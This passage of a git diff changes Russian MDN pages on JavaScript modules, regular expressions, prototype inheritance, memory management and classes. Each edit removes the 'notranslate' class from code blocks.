-<pre class="notranslate">./modules/square.js</pre> +<pre>./modules/square.js</pre> <p>Вы можете найти подобные строки кода в файле <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>.</p> @@ -155,7 +155,7 @@ export function draw(ctx, length, x, y, color) { <p>После того, как вы импортировали функции в свой скрипт, вы можете использовать их так же, как если бы они были определены в этом же файле. Следующий пример можно найти в <code>main.js</code>, сразу за строками импорта:</p> -<pre class="brush: js; notranslate">let myCanvas = create('myCanvas', document.body, 480, 320); +<pre class="brush: js;">let myCanvas = create('myCanvas', document.body, 480, 320); let reportList = createReportList(myCanvas.id); let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue'); @@ -177,11 +177,11 @@ reportPerimeter(square1.length, reportList); <p>Прежде всего, вам нужно добавить <code>type="module"</code> в <a href="/en-US/docs/Web/HTML/Element/script" title="The HTML <script> элемент используется для встраивания исполняемого кода или ссылки на него; обычно используется для встраивания JavaScript кода или ссылки на него."><code><script></code></a>-элемент, чтобы объявить, что скрипт является модулем. Чтобы подключить модуль <code>main.js</code>, нужно написать следующее:</p> -<pre class="brush: html; no-line-numbers notranslate"><script type="module" src="main.js"></script></pre> +<pre class="brush: html; no-line-numbers"><script type="module" src="main.js"></script></pre> <p>Вы также можете встроить скрипт модуля непосредственно в HTML-файл, поместив JavaScript-код внутрь <code><script></code>-элемента:</p> -<pre class="brush: js notranslate"><script type="module"> +<pre class="brush: js"><script type="module"> /* код JavaScript модуля */ </script></pre> @@ -213,25 +213,25 @@ reportPerimeter(square1.length, reportList); <p>Давайте посмотрим на пример, и мы объясним, как это работает. В модуле <code>square.js</code> из нашего примера вы можете найти функцию <code>randomSquare()</code>, которая создаёт квардрат случайного цвета и размера со случайными координатами. Мы хотим экпортировать эту функции по умолчанию, поэтому в конце файла пишем следующее:</p> -<pre class="brush: js; notranslate">export default randomSquare;</pre> +<pre class="brush: js;">export default randomSquare;</pre> <p>Обратите внимание на отсутствие фигурных скобок.</p> <p>Кстати, можно было бы определить функцию как анонимную и добавить к ней <code>export default</code>:</p> -<pre class="brush: js; notranslate">export default function(ctx) { +<pre class="brush: js;">export default function(ctx) { ... }</pre> <p>В нашем файле <code>main.js</code> мы импортируем функцию по умолчанию, используя эту строку:</p> -<pre class="brush: js; notranslate">import randomSquare from './modules/square.js';</pre> +<pre class="brush: js;">import randomSquare from './modules/square.js';</pre> <p>Снова обратите внимание на отсутствие фигурных скобок. Такой синтакис допустим, поскольку для каждого модуля разрешен только один экспорт по умолчанию, и мы знаем, что это <code>randomSquare</code>. Вышеупомянутая строка является сокращением для:</p> -<pre class="brush: js; notranslate">import {default as randomSquare} from './modules/square.js';</pre> +<pre class="brush: js;">import {default as randomSquare} from './modules/square.js';</pre> <div class="blockIndicator note"> <p><strong>Примечание</strong>: «as» синтаксис для переименования экспортируемых элементов поясняется ниже в разделе <a href="#Переименование_импорта_и_экмпорта">Переименование импорта и экмпорта</a>.</p> @@ -252,7 +252,7 @@ reportPerimeter(square1.length, reportList); <p>Так, например, оба следующих элемента будут выполнять одну и ту же работу, хотя и немного по-разному:</p> -<pre class="brush: js; notranslate">// внутри module.js +<pre class="brush: js;">// внутри module.js export { function1 as newFunctionName, function2 as anotherNewFunctionName @@ -261,7 +261,7 @@ export { // внутри main.js import { newFunctionName, anotherNewFunctionName } from './modules/module.js';</pre> -<pre class="brush: js; notranslate">// внутри module.js +<pre class="brush: js;">// внутри module.js export { function1, function2 }; // внутри main.js @@ -274,11 +274,11 @@ import { function1 as newFunctionName, <p>Внутри каждого из этих модулей у нас есть функции с одинаковыми именами, которые экспортируются, и поэтому у каждого из них есть один и тот же оператор <code>export</code> внизу файла:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <p>Если бы в <code>main.js</code> при их импорте мы попытались использовать</p> -<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js'; +<pre class="brush: js;">import { name, draw, reportArea, reportPerimeter } from './modules/square.js'; import { name, draw, reportArea, reportPerimeter } from './modules/circle.js'; import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre> @@ -286,7 +286,7 @@ import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js'; <p>Вместо этого нам нужно переименовать импорт, чтобы он был уникальным:</p> -<pre class="brush: js; notranslate">import { name as squareName, +<pre class="brush: js;">import { name as squareName, draw as drawSquare, reportArea as reportSquareArea, reportPerimeter as reportSquarePerimeter } from './modules/square.js'; @@ -303,13 +303,13 @@ import { name as triangleName, <p>Обратите внимание, что вместо этого вы можете решить проблему в файлах модуля, например.</p> -<pre class="brush: js; notranslate">// внутри square.js +<pre class="brush: js;">// внутри square.js export { name as squareName, draw as drawSquare, reportArea as reportSquareArea, reportPerimeter as reportSquarePerimeter };</pre> -<pre class="brush: js; notranslate">// внутри main.js +<pre class="brush: js;">// внутри main.js import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';</pre> <p>И это сработало бы точно так же. @@ -322,11 +322,11 @@ import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from Существует решение получше — импортировать функции каждого модуля внутри объекта модуля. Для этого используется следующая синтаксическая форма:</p> -<pre class="brush: js; notranslate">import * as Module from './modules/module.js';</pre> +<pre class="brush: js;">import * as Module from './modules/module.js';</pre> <p>Эта конструкция берёт все экспорты, доступные внутри <code>module.js</code> и делает их доступными в качестве свойств объекта <code>Module</code>, фактически давая ему собственное пространство имен. Так например:</p> -<pre class="brush: js; notranslate">Module.function1() +<pre class="brush: js;">Module.function1() Module.function2() </pre> и т.д. @@ -335,11 +335,11 @@ Module.function2() вы снова увидите тот же самый пример, но переписанный с учётом преимуществ этого нового синтаксиса. В модулях все экспорты представлены в следующей простой форме:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <p>С другой стороны, импорт выглядит так:</p> -<pre class="brush: js; notranslate">import * as Canvas from './modules/canvas.js'; +<pre class="brush: js;">import * as Canvas from './modules/canvas.js'; import * as Square from './modules/square.js'; import * as Circle from './modules/circle.js'; @@ -347,7 +347,7 @@ import * as Triangle from './modules/triangle.js';</pre> <p>В каждом случае теперь вы можете получить доступ к импорту модуля под указанным свойством объекта, например:</p> -<pre class="brush: js; notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue'); +<pre class="brush: js;">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue'); Square.reportArea(square1.length, reportList); Square.reportPerimeter(square1.length, reportList);</pre> @@ -360,7 +360,7 @@ Square.reportPerimeter(square1.length, reportList);</pre> <p>Вы можете увидеть пример нашего модуля для рисования фигур, переписанного с помощью классов ES в нашей <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> директории. В качестве примера, файд <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> теперь содержит всю свою функциональность в одном классе:</p> -<pre class="brush: js; notranslate">class Square { +<pre class="brush: js;">class Square { constructor(ctx, listId, length, x, y, color) { ... } @@ -374,15 +374,15 @@ Square.reportPerimeter(square1.length, reportList);</pre> <p>который мы затем экспортируем:</p> -<pre class="brush: js; notranslate">export { Square };</pre> +<pre class="brush: js;">export { Square };</pre> <p>Далее в <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code>, мы импортируем его так:</p> -<pre class="brush: js; notranslate">import { Square } from './modules/square.js';</pre> +<pre class="brush: js;">import { Square } from './modules/square.js';</pre> <p>А затем используем импортированный класс, чтобы нарисовать наш квадрат:</p> -<pre class="brush: js; notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); +<pre class="brush: js;">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); square1.draw(); square1.reportArea(); square1.reportPerimeter();</pre> @@ -393,7 +393,7 @@ square1.reportPerimeter();</pre> У вас может быть несколько уровней зависимостей, где вы хотите упростить вещи, объединив несколько подмодулей в один родительский модуль. Это возможно с использованием следующего синтаксиса экспорта в родительском модуле:</p> -<pre class="brush: js; notranslate">export * from 'x.js' +<pre class="brush: js;">export * from 'x.js' export { name } from 'x.js'</pre> <p>Для примера посмотрите на нашу директорию <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a>. @@ -402,7 +402,7 @@ export { name } from 'x.js'</pre> Мы также переместили наши подмодули в дочернюю директорию внутри директории <code>modules</code> под названием <code>shape</code>. Итак, структура модуля в этом примере:</p> -<pre class="notranslate">modules/ +<pre>modules/ canvas.js shapes.js shapes/ @@ -412,12 +412,12 @@ export { name } from 'x.js'</pre> <p>В каждом из подмодулей экспорт имеет одинаковую форму, например:</p> -<pre class="brush: js; notranslate">export { Square };</pre> +<pre class="brush: js;">export { Square };</pre> <p>Далее идет агрегирование. Внутри <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code>, мы добавляем следующие строки:</p> -<pre class="brush: js; notranslate">export { Square } from './shapes/square.js'; +<pre class="brush: js;">export { Square } from './shapes/square.js'; export { Triangle } from './shapes/triangle.js'; export { Circle } from './shapes/circle.js';</pre> @@ -429,13 +429,13 @@ export { Circle } from './shapes/circle.js';</pre> <p>Итак, теперь в файле <code>main.js</code> мы можем получить доступ ко всем трём классам модулей, заменив:</p> -<pre class="brush: js; notranslate">import { Square } from './modules/square.js'; +<pre class="brush: js;">import { Square } from './modules/square.js'; import { Circle } from './modules/circle.js'; import { Triangle } from './modules/triangle.js';</pre> <p>на единственную строку кода:</p> -<pre class="brush: js; notranslate">import { Square, Circle, Triangle } from './modules/shapes.js';</pre> +<pre class="brush: js;">import { Square, Circle, Triangle } from './modules/shapes.js';</pre> <h2 id="Динамическая_загрузка_модулей">Динамическая загрузка модулей</h2> @@ -446,7 +446,7 @@ import { Triangle } from './modules/triangle.js';</pre> <p>Поддержка динамической загрузки модулей позволяет вызывать {{JSxRef("Statements/import", "import()", "#Dynamic_Imports")}} в качестве функции, передав ей аргументом путь к модулю. Данный вызов возвращает {{JSxRef("Promise")}}, который резолвится объектом модуля (см. <a href="#Создание_объекта_модуля">Создание объекта модуля</a>), предоставляя вам доступ к экспорту указанного модуля, например:</p> -<pre class="brush: js; notranslate">import('./modules/myModule.js') +<pre class="brush: js;">import('./modules/myModule.js') .then((module) => { // делаем что-то с функционалом из импортированного модуля });</pre> @@ -460,11 +460,11 @@ import { Triangle } from './modules/triangle.js';</pre> <p>Далее в <code>main.js</code> мы взяли ссылку на каждую кнопку, используя вызов <a href="/en-US/docs/Web/API/Document/querySelector"><code>document.querySelector()</code></a>:</p> -<pre class="brush: js; notranslate">let squareBtn = document.querySelector('.square');</pre> +<pre class="brush: js;">let squareBtn = document.querySelector('.square');</pre> <p>Затем мы добавляем обработчик событий на каждую кнопку, чтобы при нажатии соответствующий модуль динамически загружался и использовался для рисования фигуры:</p> -<pre class="brush: js; notranslate">squareBtn.addEventListener('click', () => { +<pre class="brush: js;">squareBtn.addEventListener('click', () => { import('./modules/square.js').then((Module) => { let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); square1.draw(); diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index f9e2b054a3..8a379e7653 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -149,7 +149,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes <h3 id="Поиск_серии_цифр">Поиск серии цифр</h3> -<pre class="brush: js notranslate">var randomData = "015 354 8787 687351 3512 8735"; +<pre class="brush: js">var randomData = "015 354 8787 687351 3512 8735"; var regexpFourDigits = /\b\d{4}\b/g; // \b определяет границу поиска (например, не начинает поиск с середины слова) // \d{4} определяет цифру, четыре раза @@ -162,7 +162,7 @@ console.table(randomData.match(regexpFourDigits)); <h3 id="Поиск_слов_латинский_алфавит_начинающих_с_A">Поиск слов (латинский алфавит), начинающих с A</h3> -<pre class="brush: js notranslate">var aliceExcerpt = "I’m sure I’m not Ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; +<pre class="brush: js">var aliceExcerpt = "I’m sure I’m not Ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpWordStartingWithA = /\b[aA]\w+/g; // \b определяет границу поиска (например, не начинает поиск с середины слова) // [aA] определяет букву a или A @@ -176,7 +176,7 @@ console.table(aliceExcerpt.match(regexpWordStartingWithA)); <p>Вместо латинского алфавита, мы может использовать диапазон Unicode символов для определения слова (благодаря этому мы можем работать с текстами написанным, например на русском или арабском языке or Arabic). Unicode содержит большинство символов используемых на планете, мы так же можем объединять их диапазоны и классы символов.</p> -<pre class="brush: js notranslate">var nonEnglishText = "Приключения Алисы в Стране чудес"; +<pre class="brush: js">var nonEnglishText = "Приключения Алисы в Стране чудес"; var regexpBMPWord = /([\u0000-\u0019\u0021-\uFFFF])+/gu; // BMP goes through U+0000 to U+FFFF but space is U+0020 diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index d6a9f157de..d92683f778 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <ul> <li>Используя литерал регулярного выражения, например: <div style="margin-right: 270px;"> - <pre class="brush: js notranslate">var re = /ab+c/; + <pre class="brush: js">var re = /ab+c/; </pre> </div> @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </li> <li>Вызывая функцию конструктор объекта <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="en-US/docs/JavaScript/Reference/Global Objects/RegExp">RegExp</a></code>, например: <div style="margin-right: 270px;"> - <pre class="brush: js notranslate">var re = new RegExp("ab+c"); + <pre class="brush: js">var re = new RegExp("ab+c"); </pre> </div> @@ -321,7 +321,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <p>Экранирование пользовательского ввода, соответствующего буквенной строке внутри регулярного выражения, может быть достигнуто простой заменой: </p> -<pre class="brush: js notranslate"><code>function escapeRegExp(string){ +<pre class="brush: js"><code>function escapeRegExp(string){ return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string }</code></pre> @@ -379,18 +379,18 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <p>В след. примере, скрипт использует метод <code>exec</code> чтобы найти совпадения в строке.</p> -<pre class="brush: js notranslate">var myRe = /d(b+)d/g; +<pre class="brush: js">var myRe = /d(b+)d/g; var myArray = myRe.exec("cdbbdbsbz"); </pre> <p>Если вам не нужен доступ к свойствам регулярного выражения, то альтернативный способ получить <code>myArray</code> можно так:</p> -<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); +<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); </pre> <p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:</p> -<pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g"); +<pre class="brush: js">var myRe = new RegExp("d(b+)d", "g"); var myArray = myRe.exec("cdbbdbsbz"); </pre> @@ -444,25 +444,25 @@ var myArray = myRe.exec("cdbbdbsbz"); <p>Как показано во втором варианте этого примера, вы можете использовать регулярное выражение, созданное при помощи инициализатора объекта, без присваивания его переменной. Таким образом, если вы используете данную форму записи без присваивания переменной, то в процессе дальнейшего использования вы не можете получить доступ к свойствам данного регулярного выражения. Например, у вас есть следующий скрипт:</p> -<pre class="brush: js notranslate">var myRe = /d(b+)d/g; +<pre class="brush: js">var myRe = /d(b+)d/g; var myArray = myRe.exec("cdbbdbsbz"); console.log("The value of lastIndex is " + myRe.lastIndex); </pre> <p>Этот скрипт выведет:</p> -<pre class="notranslate">The value of lastIndex is 5 +<pre>The value of lastIndex is 5 </pre> <p>Однако, если у вас есть следующий скрипт:</p> -<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); +<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); </pre> <p>Он выведет:</p> -<pre class="notranslate">The value of lastIndex is 0 +<pre>The value of lastIndex is 0 </pre> <div class="syntaxbox">Совпадения <code>/d(b+)d/g</code> в двух случаях являются разными объектами регулярного выражения и, следовательно, имеют различные значения для свойства <code>lastIndex</code>. Если вам необходим доступ к свойствам объекта, созданного при помощи инициализатора, то вы должны сначала присвоить его переменной.</div> @@ -477,7 +477,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); <p>Следующий скрипт использует метод <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global Objects/String/replace">replace()</a>,</code> чтобы поменять местами слова (символы) в строке. Для замены текста скрипт использует обозначения <code>$1</code> и <code>$2</code> для обозначения первого и второго совпадения скобочного выражения.</p> -<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/; +<pre class="brush: js">var re = /(\w+)\s(\w+)/; var str = "John Smith"; var newstr = str.replace(re, "$2, $1"); console.log(newstr); @@ -519,19 +519,19 @@ console.log(newstr); <p>Чтобы использовать флаги в шаблоне регулярного выражения используйте следующий синтаксис:</p> -<pre class="brush: js notranslate">var re = /pattern/flags; +<pre class="brush: js">var re = /pattern/flags; </pre> <p>или</p> -<pre class="brush: js notranslate">var re = new RegExp("pattern", "flags"); +<pre class="brush: js">var re = new RegExp("pattern", "flags"); </pre> <p>Обратите внимание, что флаги являются неотъемлемой частью регулярного выражения. Флаги не могут быть добавлены или удалены позднее.</p> <p>Для примера, <code>re = /\w+\s/g</code> создаёт регулярное выражение, которое ищет один или более символов, после которых следует пробел и ищет данное совпадение на протяжении всей строки.</p> -<pre class="brush: js notranslate">var re = /\w+\s/g; +<pre class="brush: js">var re = /\w+\s/g; var str = "fee fi fo fum"; var myArray = str.match(re); console.log(myArray); @@ -539,12 +539,12 @@ console.log(myArray); <p>Выведет ["fee ", "fi ", "fo "]. В этом примере вы бы могли заменить строку:</p> -<pre class="brush: js notranslate">var re = /\w+\s/g; +<pre class="brush: js">var re = /\w+\s/g; </pre> <p>на следующую:</p> -<pre class="brush: js notranslate">var re = new RegExp("\\w+\\s", "g"); +<pre class="brush: js">var re = new RegExp("\\w+\\s", "g"); </pre> <p>и получить тот же результат.</p> @@ -559,7 +559,7 @@ console.log(myArray); <p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.</p> -<pre class="brush: js notranslate">// The name string contains multiple spaces and tabs, +<pre class="brush: js">// The name string contains multiple spaces and tabs, // and may have multiple spaces between first and last names. var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand "; @@ -629,7 +629,7 @@ console.log(output.join("\n")); <p>Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". </p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> @@ -655,5 +655,5 @@ console.log(output.join("\n")); </html> </pre> -<pre class="script notranslate">autoPreviousNext("JSGChapters"); +<pre class="script">autoPreviousNext("JSGChapters"); </pre> diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index 5ed538ca47..eaca7bd05f 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain <p>Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми <strong>собственными свойствами</strong>). Каждый объект содержит ссылку на свой объект-прототип.<br> При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> -<pre class="brush: js notranslate">// В этом примере someObject.[[Prototype]] означает прототип someObject. +<pre class="brush: js">// В этом примере someObject.[[Prototype]] означает прототип someObject. // Это упрощённая нотация (описанная в стандарте ECMAScript). // Она не может быть использована в реальных скриптах. @@ -74,7 +74,7 @@ console.log(o.d); // undefined <p>В области видимости унаследованной функции ссылка <a href="/en/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> указывает на наследующий объект (на наследника), а не на прототип, в котором данная функция является собственным свойством.</p> -<pre class="brush: js notranslate">var o = { +<pre class="brush: js">var o = { a: 2, m: function(){ return this.a + 1; @@ -98,7 +98,7 @@ console.log(p.m()); // 13 <h3 id="Создание_объектов_с_помощью_литералов">Создание объектов с помощью литералов</h3> -<pre class="brush: js notranslate">var o = {a: 1}; +<pre class="brush: js">var o = {a: 1}; // Созданный объект 'o' имеет Object.prototype в качестве своего [[Prototype]] // у 'o' нет собственного свойства 'hasOwnProperty' @@ -127,7 +127,7 @@ function f(){ <p>В JavaScript "конструктор" — это "просто" функция, вызываемая с оператором <a href="/en/JavaScript/Reference/Operators/new" title="new">new</a>.</p> -<pre class="brush: js notranslate">function Graph() { +<pre class="brush: js">function Graph() { this.vertexes = []; this.edges = []; } @@ -147,7 +147,7 @@ var g = new Graph(); <p>В ECMAScript 5 представлен новый метод создания объектов: <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a>. Прототип создаваемого объекта указывается в первом аргументе этого метода:</p> -<pre class="brush: js notranslate">var a = {a: 1}; +<pre class="brush: js">var a = {a: 1}; // a ---> Object.prototype ---> null var b = Object.create(a); @@ -168,7 +168,7 @@ console.log(d.hasOwnProperty); <p>С выходом ECMAScript 6 появился целый набор ключевых слов, реализующих <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">классы</a>. Они могут показаться знакомыми людям, изучавшим языки, основанные на классах, но есть существенные отличия. JavaScript был и остаётся прототипно-ориентированным языком. Новые ключевые слова: "<code>class</code>", "<code>constructor</code>", "<code>static</code>", "<code>extends</code>" и "<code>super</code>".</p> -<pre class="brush: js notranslate">"use strict"; +<pre class="brush: js">"use strict"; class Polygon { constructor(height, width) { @@ -217,7 +217,7 @@ var square = new Square(2);</pre> <p><code>B</code> наследует от <code>A</code>:</p> -<pre class="brush: js notranslate">function A(a){ +<pre class="brush: js">function A(a){ this.varA = a; } @@ -274,17 +274,17 @@ b.doSomething();</pre> <p><code>[[Prototype]]</code> работает <em>рекурсивно</em>, то есть при вызове:</p> -<pre class="brush: js notranslate">var o = new Foo();</pre> +<pre class="brush: js">var o = new Foo();</pre> <p>JavaScript на самом деле выполняет что-то подобное:</p> -<pre class="brush: js notranslate">var o = new Object(); +<pre class="brush: js">var o = new Object(); o.[[Prototype]] = Foo.prototype; Foo.call(o);</pre> <p>а когда вы делаете так:</p> -<pre class="brush: js notranslate">o.someProp;</pre> +<pre class="brush: js">o.someProp;</pre> <p>JavaScript проверяет, есть ли у <strong><code>o</code></strong> свойство <code>someProp</code>.<br> и если нет, то проверяет <code>Object.getPrototypeOf(o).someProp</code> <br> diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index 4fa942b997..4399b25d64 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Memory_Management <p>Чтобы не утруждать программиста заботой о низкоуровневых операциях выделения памяти, интерпретатор JavaScript динамически выделяет необходимую память при объявлении переменных:</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var n = 123; // выделяет память для типа number +<pre class="brush: js">var n = 123; // выделяет память для типа number var s = "azerty"; // выделяет память для типа string var o = { @@ -53,13 +53,13 @@ someElement.addEventListener('click', function(){ <p>Вызовы некоторых функций также ведут к выделению памяти под объект:</p> -<pre class="brush: js notranslate">var d = new Date(); +<pre class="brush: js">var d = new Date(); var e = document.createElement('div'); // выделяет память под DOM-элемент </pre> <p>Некоторые методы выделяют память для новых значений или объектов:</p> -<pre class="brush: js notranslate">var s = "azerty"; +<pre class="brush: js">var s = "azerty"; var s2 = s.substr(0, 3); // s2 это новый объект типа string // Т.к. строки - это постоянные значения, интерпретатор может решить, что память выделять не нужно, но нужно лишь сохранить диапазон [0, 3]. @@ -94,7 +94,7 @@ var a3 = a.concat(a2); // новый массив с 4 элементами в <h4 id="Пример">Пример</h4> -<pre class="brush: js notranslate">var o = { +<pre class="brush: js">var o = { a: { b:2 } @@ -121,7 +121,7 @@ oa = null; // оригинальное значение поля объекта <p>Основное ограничение данного наивного алгоритма заключается в том, что если два объекта ссылаются друг на друга (создавая таким образом циклическую ссылку), они не могут быть уничтожены сборщиком мусора, даже если "более не нужны".</p> -<pre class="brush: js notranslate">function f(){ +<pre class="brush: js">function f(){ var o = {}; var o2 = {}; o.a = o2; // o ссылается на o2 @@ -139,7 +139,7 @@ f(); <p>Браузеры Internet Explorer версий 6, 7 имеют сборщик мусора для DOM-объектов, работающий по принципу подсчёта ссылок. Поэтому данные браузеры можно легко принудить к порождению систематических утечек памяти (memory leaks) следующим образом:</p> -<pre class="brush: js notranslate">var div; +<pre class="brush: js">var div; window.onload = function(){ div = document.getElementById("myDivElement"); div.circularReference = div; // DOM-элемент "myDivElement" получает ссылку на себя diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 3b0b38b700..81546fdb27 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -14,13 +14,13 @@ translation_of: Web/JavaScript/Reference/Classes/constructor <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre> +<pre class="syntaxbox">constructor([arguments]) { ... }</pre> <h2 id="Описание">Описание</h2> <p>Конструктор позволяет произвести начальную инициализацию, которая должна быть выполнена до того, как остальные методы будут вызваны.</p> -<pre class="notranslate">class Person { +<pre>class Person { constructor(name) { this.name = name; @@ -38,17 +38,17 @@ otto.introduce();</pre> <p>Если вы не определили метод constructor, то будет использован конструктор по умолчанию. Если ваш класс базовый, то конструктор по умолчанию пустой:</p> -<pre class="notranslate">constructor() {}</pre> +<pre>constructor() {}</pre> <p>Если ваш класс является производным классом, конструктор по умолчанию вызывает родительский конструктор, передавая любые аргументы, которые были предоставлены:</p> -<pre class="notranslate">constructor(...args) { +<pre>constructor(...args) { super(...args); }</pre> <p>Это позволяет работать следующему коду:</p> -<pre class="notranslate">class ValidationError extends Error { +<pre>class ValidationError extends Error { printCustomerMessage() { return `Проверка не удалась :-( (подробности: ${this.message})`; @@ -72,7 +72,7 @@ try { <p>Однако, если определён ваш собственный конструктор и класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> -<pre class="notranslate">class ValidationError extends Error { +<pre>class ValidationError extends Error { constructor(message) { super(message); // вызов конструктора родительского класса @@ -106,7 +106,7 @@ try { <p>Данный фрагмент кода взят из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p> -<pre class="brush: js notranslate">class Square extends Polygon { +<pre class="brush: js">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, // в который передаётся length в качестве аргументов, @@ -130,7 +130,7 @@ try { <p>Посмотрите на этот отрывок кода.</p> -<pre class="brush: js notranslate">class Polygon { +<pre class="brush: js">class Polygon { constructor() { this.name = "Polygon"; } @@ -158,11 +158,11 @@ console.log(newInstance.name); //Polygon</pre> <p>Если вы не определите метод constructor, будет использован constructor по умолчанию. Для базовых классов, constructor по умолчанию:</p> -<pre class="brush: js notranslate">constructor() {}</pre> +<pre class="brush: js">constructor() {}</pre> <p>Для производных классов, constructor по умолчанию:</p> -<pre class="brush: js notranslate">constructor(...args) { +<pre class="brush: js">constructor(...args) { super(...args); }</pre> diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html index f8a63e92b2..742cd341ca 100644 --- a/files/ru/web/javascript/reference/classes/index.html +++ b/files/ru/web/javascript/reference/classes/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Classes <p>Первый способ определения класса — <strong>class declaration (</strong><em>объявление класса</em><strong>)</strong>. Для этого необходимо воспользоваться ключевым словом <code>class</code> и указать имя класса (в примере — «Rectangle»).</p> -<pre class="brush: js notranslate"><code>class Rectangle { +<pre class="brush: js"><code>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Classes <p>Разница между <em>объявлением функции</em> (<em>function declaration</em>) и <em>объявлением класса</em> (<em>class declaration</em>) в том, что <em>объявление функции</em> совершает подъём ({{Glossary("Hoisting", "hoisting")}}), в то время как <em>объявление класса</em> — нет. Поэтому вначале необходимо объявить ваш класс и только затем работать с ним, а код же вроде 